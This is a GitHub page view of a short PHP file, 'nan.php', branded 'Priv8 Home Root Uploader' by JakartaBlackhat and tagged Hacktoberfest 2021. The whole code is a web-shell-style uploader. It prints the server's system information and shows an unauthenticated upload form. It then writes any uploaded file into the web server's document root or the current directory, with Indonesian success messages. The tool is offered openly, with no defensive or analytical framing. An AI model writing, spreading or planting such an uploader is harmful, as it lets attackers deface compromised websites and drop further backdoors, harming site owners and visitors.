-
Notifications
You must be signed in to change notification settings - Fork 127
/
nan.php
46 lines (25 loc) · 1.01 KB
/
nan.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#Hacktoberfest-2021
#Hacktoberfest-indonesia-2021
<?php echo "<i>Priv8 Home Root Uploader</i>
- JakartaBlackhat | Ins0mnia Rulez.
<br>"; echo "<b>".php_uname()."</b><br>"; echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>"; $root = $_SERVER['DOCUMENT_ROOT']; $files = $_FILES['idx_file']['name']; $dest = $root.'/'.$files; if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "sukses upload -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
}
else { echo "gagal upload di document VIP Room.";
}
}
else { if(@copy($_FILES['idx_file']['tmp_name'], $files))
{
echo "sukses upload <b>$files</b> di kamar ini";
}
else { echo "gagal upload";
}
}
}
?>